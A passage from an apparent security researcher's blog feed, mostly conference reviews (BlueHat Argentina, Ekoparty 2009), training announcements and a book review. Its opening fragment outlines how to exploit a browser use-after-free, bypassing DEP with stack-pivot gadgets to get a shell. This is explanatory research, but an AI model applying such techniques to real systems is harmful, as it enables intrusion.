/&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Bypassing DEP&lt;/span&gt;&lt;br /&gt;Trigger the bug is trivial. Whatever function we want to call on the free object it will try to do a &lt;a href="http://msdn.microsoft.com/en-us/library/wwazwk2k%28VS.85%29.aspx"&gt;IDispatch-&gt;GetDispID&lt;/a&gt; and that will use the modified vtable. The next step for a good boyscout is to transform a function pointer execution into ret2libc. To do that we need to move a buffer we control to ESP. &lt;br /&gt;&lt;br /&gt;GetDispID is a very interesting function:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;HRESULT GetDispID( BSTR bstrName, DWORD grfdex, DISPID *pid ); &lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;As you can see from the msdn description, we have two interesting thing, first the "this" object which is usually the first thing we have pushed on the stack and we also have the bstrName, which is the function name that we want to call. Javascript is flexible enough to allow us to do:&lt;br /&gt;&lt;blockquote&gt; p["CocaCola"]();&lt;/blockquote&gt;&lt;br /&gt;The "this" object is also under our control since it's the buffer that we use on the use-after-free.&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_aUReV5sSeqk/S6zA7V6YGnI/AAAAAAAAGs0/fxvzMQuaSXA/s1600/aaa_triggering.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 139px;" src="http://4.bp.blogspot.com/_aUReV5sSeqk/S6zA7V6YGnI/AAAAAAAAGs0/fxvzMQuaSXA/s400/aaa_triggering.png" alt="" id="BLOGGER_PHOTO_ID_5452945374565636722" border="0" /&gt;&lt;/a&gt;&lt;span style="font-style: italic; size: 1px;font-size:78%;" &gt;Triggering the vulnerability. In this case, i set the bstrName as "getElement" but could be transformed into whatever we want.&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;Now is just a matter of finding the correct piece of code in order to pop the first or the 2nd dword from the stack.&lt;br /&gt;Some ideas:&lt;br /&gt;&lt;blockquote&gt;     XCHG/POP/RETN&lt;br /&gt;  POP/POP ESP/RETN&lt;br /&gt;  POP ESP/POP/RETN&lt;br /&gt;  POP EBP/POP/LEAVE/RETN&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;If you are precise enough, you will have defeat randomess and will have a proper shell:&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_aUReV5sSeqk/S6y-BKw5DdI/AAAAAAAAGsU/i8aIbMlOOE8/s1600/exploited.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 213px;" src="http://4.bp.blogspot.com/_aUReV5sSeqk/S6y-BKw5DdI/AAAAAAAAGsU/i8aIbMlOOE8/s320/exploited.png" alt="" id="BLOGGER_PHOTO_ID_5452942176117394898" border="0" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6583006355693901620-1460843549621706847?l=eticanicomana.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://eticanicomana.blogspot.com/feeds/1460843549621706847/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6583006355693901620&amp;postID=1460843549621706847' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6583006355693901620/posts/default/1460843549621706847'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6583006355693901620/posts/default/1460843549621706847'/><link rel='alternate' type='text/html' href='http://eticanicomana.blogspot.com/2010/03/aleatory-persitent-threat.html' title='(A)leatory (P)ersitent (T)hreat'/><author><name>Nico Waisman</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_aUReV5sSeqk/SK8WvUJkBdI/AAAAAAAADD4/PGa-HWl7rJw/S220/DSC00333.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_aUReV5sSeqk/S6y-r71CrBI/AAAAAAAAGsc/c53CaB2ZvUs/s72-c/aaa_samevar.png' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6583006355693901620.post-5963654400968177611</id><published>2010-03-20T12:08:00.000-07:00</published><updated>2010-03-20T15:00:06.166-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='bluehat'/><category scheme='http://www.blogger.com/atom/ns#' term='argentina'/><category scheme='http://www.blogger.com/atom/ns#' term='hackerspace'/><title type='text'>BlueHat Security Forum 2010 -  Argentina</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_aUReV5sSeqk/S6UuL7_HwAI/AAAAAAAAGrY/evYysGS1b_o/s1600-h/mlijgo.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 239px; height: 320px;" src="http://2.bp.blogspot.com/_aUReV5sSeqk/S6UuL7_HwAI/AAAAAAAAGrY/evYysGS1b_o/s320/mlijgo.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5450813706617733122" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Dear diary,&lt;br /&gt;  I'm finally back into blog writing. The main reason why I stop is pretty much everyone else reason: lack of time. Although time is still a precious asset, i found some time to write this entry.&lt;br /&gt;  Two days ago, Microsoft finally made BlueHat for the very first time in Argentina. It is a great honour as an Argentinian still living in the country, to have Microsoft decide that we are a  strategic point to extend the conference outside the US. Andrew Cushman told me its the second time they do it outside Redmond, they have a first experience in Brussels which was a bittersweet experience, but he said they learn from that experience and they renew the hopes in Argentina.&lt;br /&gt;  Their strategy this time was to blend the latinamerican CSO/CTO with the researchers community. Spotting who was who, was just a simple visual exercise: Suits vs tshirt.&lt;br /&gt;&lt;br /&gt;  The kicking point to archive this almost impossible objective (The Microsoft Security team has a past of choosing high objective that they commonly archive) was a round table lead by Andrew which a bunch of well-known researchers (FX, Damian Hasse, Manuel Caballero, Rodrigo Rubira Branco, Ivan Arce, Luiz Eduardo and me) with the title "Hackers and You". The idea was great, sadly, we run out of time to discuss and expose all the different flavours from such a broad topic.&lt;br /&gt;  I believe there are four main points made, not only in the round table but in BlueHat in general.&lt;br /&gt;&lt;br /&gt; o Offensive security is a key part of enterprise security. Microsoft understood this looong time ago and act greatly upon it. No matter the size of your bussiness, If you ever stop considering the offensive part of the security, you will end up without strategy and simply relying on your IDS/IPS/Firewall/AV devices, that quoting FX presentation "its a very very very *bad* idea".&lt;br /&gt; o Security needs to be consider in every step of your business cycle. The Microsoft presentation were very clear on that subject.&lt;br /&gt; o Hire researchers for your team and make them happy. Certifying them with theoretical exams (study/take the test/immediately forget) won't make them either happy or help them secure your network. Talk to them, research on practical training and let their creative spirit fly a bit (on controlled environments).&lt;br /&gt; o Prevention is prediction. This subject briefly came from a very smart question of a conference attendee to the panel, she said "having all this new technique and tricks, seems that prevention gets old". Ivan have enough time to reply saying that prevention models can be correctly designed, which i totally agree. Prevention models became prediction models. Prediction needs not to be understand as the result of a lucky cookie but rather how the philosopher Ricoeur understand the term futurology (bad translation of the term from my part): Understanding and trying to win yards on randomness. And this is where in my opinion, offensive security help you go the extra mile along with the great researchers we have on that area, they know how to hack and help you understand current and future out of the box risks.&lt;br /&gt;&lt;br /&gt;  Finally, there was an interesting presentation by Kristen Dennesen and Anchises de Paula on the Latin American vulnerability market. I had high expectation about this presentation, because i want to see how they focus this subject having to face a more executive crowd (Pedram did a great job at the ekoparty, but that was more focused on researchers).&lt;br /&gt;  They did a very nice job, i have the feeling that they have at least three presentations in one, so as an attendee i was thirsty for more information on the each of them but due the lack of time they couldn't go where i want. But again, this was an executive crowd. The subject in my understanding of their presentation were: Vulnerability Market in Latin America, New security legislation and their impact on the security scene and the security threats in latinamerica.&lt;br /&gt;  Luckily Bluehat encourage the corridor and bar discussion, which usually allows you to talk with the presenters, exchange opinion and get the backstage information.&lt;br /&gt;&lt;br /&gt;  In summary, great conference, glad too get together with old and new friends. Kudos to Celene, Katie, Mike, Mark, Damian and Andrew for putting together such a great conference. I'll be looking for more next year.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;PS: My favourite presentation was Hernan Ochoas "5 minutes to explain the 14-year old unpatched SMB bug", which was fast, fun and with great content.&lt;br /&gt;&lt;br /&gt;PS2: Fede present a very nice draft of what is going to be our future Hackerspace in Buenos Aires, i'm in the group that is trying to push this project and we hope we can gave the big news soon.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6583006355693901620-5963654400968177611?l=eticanicomana.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://eticanicomana.blogspot.com/feeds/5963654400968177611/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6583006355693901620&amp;postID=5963654400968177611' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6583006355693901620/posts/default/5963654400968177611'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6583006355693901620/posts/default/5963654400968177611'/><link rel='alternate' type='text/html' href='http://eticanicomana.blogspot.com/2010/03/bluehat-security-forum-2010-argentina.html' title='BlueHat Security Forum 2010 -  Argentina'/><author><name>Nico Waisman</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_aUReV5sSeqk/SK8WvUJkBdI/AAAAAAAADD4/PGa-HWl7rJw/S220/DSC00333.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_aUReV5sSeqk/S6UuL7_HwAI/AAAAAAAAGrY/evYysGS1b_o/s72-c/mlijgo.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6583006355693901620.post-2467913769356158248</id><published>2009-09-24T05:21:00.000-07:00</published><updated>2009-09-24T06:02:28.717-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='argentina'/><category scheme='http://www.blogger.com/atom/ns#' term='ekoparty 2009'/><title type='text'>Ekoparty 2009 was a total blast!!</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://lh3.ggpht.com/_aUReV5sSeqk/SrthfXiu9xI/AAAAAAAAGYw/GWW_pHLPYWk/s640/DSC02005.JPG"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 640px; height: 480px;" src="http://lh3.ggpht.com/_aUReV5sSeqk/SrthfXiu9xI/AAAAAAAAGYw/GWW_pHLPYWk/s640/DSC02005.JPG" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;When i decide to write this review I know it was going to be hard to be impartial on this, but the heck with it!&lt;br /&gt;&lt;br /&gt;Ekoparty 2009 was a total blast!! Around 500 people got together on the 17 and 18th of September in the cultural center Konex to merry, learn and party a little bit.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://lh5.ggpht.com/_aUReV5sSeqk/SrthcvrXfHI/AAAAAAAAGYU/RNTfaQlBiV8/s640/DSC01995.JPG"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 640px; height: 480px;" src="http://lh5.ggpht.com/_aUReV5sSeqk/SrthcvrXfHI/AAAAAAAAGYU/RNTfaQlBiV8/s640/DSC01995.JPG" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The conference has a really interesting line-up, some of the most respected researchers around the globe such as Moxie Morlinspike, Luis Miras, Charlie Miller, Cesar Cerrudo were given insightful and original presentations.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://lh6.ggpht.com/_aUReV5sSeqk/SrthbI0iXCI/AAAAAAAAGYE/k2lPGABM5hI/s640/DSC01989.JPG"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 640px; height: 480px;" src="http://lh6.ggpht.com/_aUReV5sSeqk/SrthbI0iXCI/AAAAAAAAGYE/k2lPGABM5hI/s640/DSC01989.JPG" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;But that's doesn't make a conference good. What it makes this conference the best one in latin america was the venue, the people that came from different part and the level of detail and effort that the organizers invested on every single spot of the conference in order to mix the best of the two worlds: a little bit of business, a little bit of underground.&lt;br /&gt;&lt;br /&gt;I gave a turbo talk presentation on the infamous FreeListInUse technique, explaining where it original came from, how was developed and what was the original concept behind it. But sadly it was too much information in such a small amount of time that people not familiar with exploitation couldn't get the real juice about it. Next time (H2HC), i will try to overuse metaphors to explain how things works. (I will post the slides soon)&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://lh4.ggpht.com/_aUReV5sSeqk/SrthcZNHyoI/AAAAAAAAGYQ/VlDnNN9Ed7g/s640/DSC01993.JPG"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 640px; height: 480px;" src="http://lh4.ggpht.com/_aUReV5sSeqk/SrthcZNHyoI/AAAAAAAAGYQ/VlDnNN9Ed7g/s640/DSC01993.JPG" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://lh6.ggpht.com/_aUReV5sSeqk/SrthdBf26jI/AAAAAAAAGYY/Uq1nMqbUmYc/s640/DSC01996.JPG"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 640px; height: 480px;" src="http://lh6.ggpht.com/_aUReV5sSeqk/SrthdBf26jI/AAAAAAAAGYY/Uq1nMqbUmYc/s640/DSC01996.JPG" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The great privilege as a speaker, was to use the Juan Pablo's masterpiece the WOPR. He made a replica of the Wargames WOPR, which leds and the corresponding counter and on the back you had a place to set your laptop.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://lh3.ggpht.com/_aUReV5sSeqk/SrthYBFrY8I/AAAAAAAAGXk/2XbJ6U6qNEU/s640/DSC01981.JPG"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 640px; height: 480px;" src="http://lh3.ggpht.com/_aUReV5sSeqk/SrthYBFrY8I/AAAAAAAAGXk/2XbJ6U6qNEU/s640/DSC01981.JPG" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://lh4.ggpht.com/_aUReV5sSeqk/SrthYR9zn-I/AAAAAAAAGXo/770OY77LIo4/s512/DSC01982.JPG"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 384px; height: 512px;" src="http://lh4.ggpht.com/_aUReV5sSeqk/SrthYR9zn-I/AAAAAAAAGXo/770OY77LIo4/s512/DSC01982.JPG" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;We set a nice stand where we had the chance to gave NOP Certifications, sadly nobody pass this time, we hope that next year we had more people playing! Also some people get to the stand to get a demo of the new internet hype, the SMBv2 exploit which we successfully gave. &lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://lh6.ggpht.com/_aUReV5sSeqk/Srthatu0YTI/AAAAAAAAGYA/ekwXXCjgsZU/s640/DSC01988.JPG"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 640px; height: 480px;" src="http://lh6.ggpht.com/_aUReV5sSeqk/Srthatu0YTI/AAAAAAAAGYA/ekwXXCjgsZU/s640/DSC01988.JPG" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;As an Argentinian i couldn't be more proud for having a conference such as the  Ekoparty to respresent us. It was a really nice time to get together with old friends and met new people.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://lh4.ggpht.com/_aUReV5sSeqk/SrthfAScR7I/AAAAAAAAGYs/SgdfZ3DKMOQ/s800/DSC02004.JPG"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 800px; height: 474px;" src="http://lh4.ggpht.com/_aUReV5sSeqk/SrthfAScR7I/AAAAAAAAGYs/SgdfZ3DKMOQ/s800/DSC02004.JPG" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;From this spot, i just want to thanks Fede, Fran, Leo, Jero and Juan Pablo for the great conference they made this year!!&lt;br /&gt;&lt;br /&gt;See you next year.&lt;br /&gt;Nico&lt;br /&gt;PS: You can find more pictures at: &lt;a href="http://picasaweb.google.com/nicowow/EkoParty2009"&gt;http://picasaweb.google.com/nicowow/EkoParty2009&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6583006355693901620-2467913769356158248?l=eticanicomana.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://eticanicomana.blogspot.com/feeds/2467913769356158248/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6583006355693901620&amp;postID=2467913769356158248' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6583006355693901620/posts/default/2467913769356158248'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6583006355693901620/posts/default/2467913769356158248'/><link rel='alternate' type='text/html' href='http://eticanicomana.blogspot.com/2009/09/ekoparty-2009-was-total-blast.html' title='Ekoparty 2009 was a total blast!!'/><author><name>Nico Waisman</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_aUReV5sSeqk/SK8WvUJkBdI/AAAAAAAADD4/PGa-HWl7rJw/S220/DSC00333.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh3.ggpht.com/_aUReV5sSeqk/SrthfXiu9xI/AAAAAAAAGYw/GWW_pHLPYWk/s72-c/DSC02005.JPG' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6583006355693901620.post-2873430485149101994</id><published>2009-09-13T06:07:00.001-07:00</published><updated>2009-09-13T06:21:37.405-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='stack overflow'/><category scheme='http://www.blogger.com/atom/ns#' term='ekoparty'/><category scheme='http://www.blogger.com/atom/ns#' term='shellcode'/><title type='text'>EkoParty 2009</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.ekoparty.org/img/ekologo.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 198px; height: 185px;" src="http://www.ekoparty.org/img/ekologo.jpg" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Another exciting &lt;a href="http://www.ekoparty.org"&gt;Ekoparty 2009&lt;/a&gt; is around the corner this year and all the security jetset is hitting Ezeiza (Bs.As. Airport) this weekend.&lt;br /&gt;&lt;br /&gt;On Monday and Tuesday, we will be throwing two trainings: Writing Windows Shellcode from the Scratch and Breaking Window.&lt;br /&gt;&lt;br /&gt;Shellcode Writing training will be taught by Pablo Solè, and it will go from "i just run exploits" to "I can write my connectback and avoid badchars". Of course, depending on how familiar the students are with assembly, it can end in a "I`m escaping the current process by writing a fork() shellcode" or "Inject myself into another process to avoid heap corruption problems". All supported with a pretty neat django framework dave wrote to make you shellcode writing experience pretty smooth (I wish we had those back in the 90's).&lt;br /&gt;&lt;br /&gt;The other training is a straight forward Windows Stack Overflow rated "G" by the Motion Picture Association, which means that if you are a student, network engineer, security professional, etc you can learn how to write Windows exploits in just two days and start looking at Microsoft advisory from a different focus.&lt;br /&gt;&lt;br /&gt;On thursday the ekoparty is starting and I'm giving a presentation on "Abusing FreeListInUse", which it will be a 20 minutes turbo talk about how this technique was discovered in the first place and how can be exploited in the worst scenario. (Sadly, i won`t have much time to extend on other exploitation tricks but i might give an extended version on the H2HC in November).&lt;br /&gt;&lt;br /&gt;Anyway, if you have plans to go send me a message or you will probably find me at Immunity`s stand on the Ekoparty.&lt;br /&gt;&lt;br /&gt;Cheers,&lt;br /&gt;Nico&lt;br /&gt;PS: We will be doing the NOP Certification, so it will be a good time to prove yourself and your future employee that you can write stack overflow in less than 40 minutes :)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6583006355693901620-2873430485149101994?l=eticanicomana.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://eticanicomana.blogspot.com/feeds/2873430485149101994/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6583006355693901620&amp;postID=2873430485149101994' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6583006355693901620/posts/default/2873430485149101994'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6583006355693901620/posts/default/2873430485149101994'/><link rel='alternate' type='text/html' href='http://eticanicomana.blogspot.com/2009/09/ekoparty-2009.html' title='EkoParty 2009'/><author><name>Nico Waisman</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_aUReV5sSeqk/SK8WvUJkBdI/AAAAAAAADD4/PGa-HWl7rJw/S220/DSC00333.JPG'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6583006355693901620.post-8063903998399908062</id><published>2009-07-28T07:36:00.001-07:00</published><updated>2009-07-28T07:58:44.342-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='hzon'/><category scheme='http://www.blogger.com/atom/ns#' term='heap cache allocator'/><category scheme='http://www.blogger.com/atom/ns#' term='immunity debugger'/><category scheme='http://www.blogger.com/atom/ns#' term='heap exploitation'/><title type='text'>Exploiting the Heap Cache Allocator</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_aUReV5sSeqk/Sm8NDsSkBQI/AAAAAAAAGUM/5DE_nwuZWo0/s1600-h/smallbugs2.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 229px;" src="http://4.bp.blogspot.com/_aUReV5sSeqk/Sm8NDsSkBQI/AAAAAAAAGUM/5DE_nwuZWo0/s320/smallbugs2.jpg" alt="" id="BLOGGER_PHOTO_ID_5363520038301336834" border="0" /&gt;&lt;/a&gt;Finally, one of the most awaited paper of 2009 was finally released. John "hzon" McDonalds bring us a bunch of refreshing techniques on one of the less inspected structures of the heap: The Heap Cache Allocator.&lt;br /&gt;Although,  he doesn't constrain just to the technique, but rather make a big picture of how the heap works and the different ways to exploit it. A MUST read.&lt;br /&gt;Rather than making a review, I just recommend you fully read it.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://blogs.iss.net/archive/RequiredReading.html"&gt;http://blogs.iss.net/archive/RequiredReading.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The cool things about playing with big blocks, is that they are not used much so you can force a nice predictable universe for exploitation.&lt;br /&gt;&lt;br /&gt;To celebrate the paper, we are releasing the files needed to inspect the HEAP Cache on Immunity Debugger:&lt;br /&gt;&lt;a href="http://immunityinc.com/downloads/ImmunityDebuggerUpdate.tgz"&gt;http://immunityinc.com/downloads/ImmunityDebuggerUpdate.tgz&lt;br /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_aUReV5sSeqk/Sm8SAEVzLeI/AAAAAAAAGUU/0c1q7mHGrMk/s1600-h/screenshot.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 201px;" src="http://1.bp.blogspot.com/_aUReV5sSeqk/Sm8SAEVzLeI/AAAAAAAAGUU/0c1q7mHGrMk/s320/screenshot.jpg" alt="" id="BLOGGER_PHOTO_ID_5363525473596026338" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Cheers,&lt;br /&gt;Nico&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6583006355693901620-8063903998399908062?l=eticanicomana.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://eticanicomana.blogspot.com/feeds/8063903998399908062/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6583006355693901620&amp;postID=8063903998399908062' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6583006355693901620/posts/default/8063903998399908062'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6583006355693901620/posts/default/8063903998399908062'/><link rel='alternate' type='text/html' href='http://eticanicomana.blogspot.com/2009/07/exploiting-heap-cache-allocator.html' title='Exploiting the Heap Cache Allocator'/><author><name>Nico Waisman</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_aUReV5sSeqk/SK8WvUJkBdI/AAAAAAAADD4/PGa-HWl7rJw/S220/DSC00333.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_aUReV5sSeqk/Sm8NDsSkBQI/AAAAAAAAGUM/5DE_nwuZWo0/s72-c/smallbugs2.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6583006355693901620.post-5609709170512508617</id><published>2009-05-18T12:26:00.001-07:00</published><updated>2009-05-18T12:44:13.029-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='debugger'/><category scheme='http://www.blogger.com/atom/ns#' term='gray hat python'/><category scheme='http://www.blogger.com/atom/ns#' term='python'/><category scheme='http://www.blogger.com/atom/ns#' term='justin seitz'/><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><title type='text'>Book review: Gray Hat Python</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://ecx.images-amazon.com/images/I/51Z0iz1DZqL._SL500_AA240_.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 240px; height: 240px;" src="http://ecx.images-amazon.com/images/I/51Z0iz1DZqL._SL500_AA240_.jpg" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Dear diary,&lt;br /&gt;  We usually said that you can easily taught yourself python in just week, well, just add 5 more days and &lt;a href="http://www.justinseitz.com/"&gt;Justin Seitz&lt;/a&gt; new book &lt;a href="http://www.amazon.com/Gray-Hat-Python-Programming-Engineers/dp/1593271921"&gt;"Gray Hat Python"&lt;/a&gt;, to taught yourself how to be an python "hacker".&lt;br /&gt;  Don't expect this book to teach what you are not, that will be hard. But do expect that this book helps you to put your knowledge and ideas into a usable tool. That is what python is all about.&lt;br /&gt;  Justin is an experience reverse engineer and a tool person, I know that because I recommend him for his position at Immunity, when he was an early fun of Immunity Debugger project.&lt;br /&gt;  And he apply his year of experience into a book that answer the question to "What exactly do i need to learn from python to start writing my tools.&lt;br /&gt;  The book is well-written and direct.Through the 12 chapters, he will walk you into the concepts of debugging and fuzzing, and teach you how to write scripts to extend the capabilities of the best tool around: PyDbg, ImmunityDebugger, Sulley, IdaPython and PyEmu.&lt;br /&gt;  And if that wasn't all, he will go step by step into writing your own debugger in python, covering through the basic exception handling to hardware breakpoint.&lt;br /&gt;  &lt;br /&gt;&lt;br /&gt;  I recommend this book for anyone who wants to get his hand dirty on python for the first time, either writing a tool or even an exploit, cause we always said at Immunity that exploiting is nothing more than intelligent debugging.&lt;br /&gt;&lt;br /&gt;Peace&lt;br /&gt;Nico&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6583006355693901620-5609709170512508617?l=eticanicomana.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://eticanicomana.blogspot.com/feeds/5609709170512508617/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6583006355693901620&amp;postID=5609709170512508617' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6583006355693901620/posts/default/5609709170512508617'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6583006355693901620/posts/default/5609709170512508617'/><link rel='alternate' type='text/html' href='http://eticanicomana.blogspot.com/2009/05/book-review-gray-hat-python.html' title='Book review: Gray Hat Python'/><author><name>Nico Waisman</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' 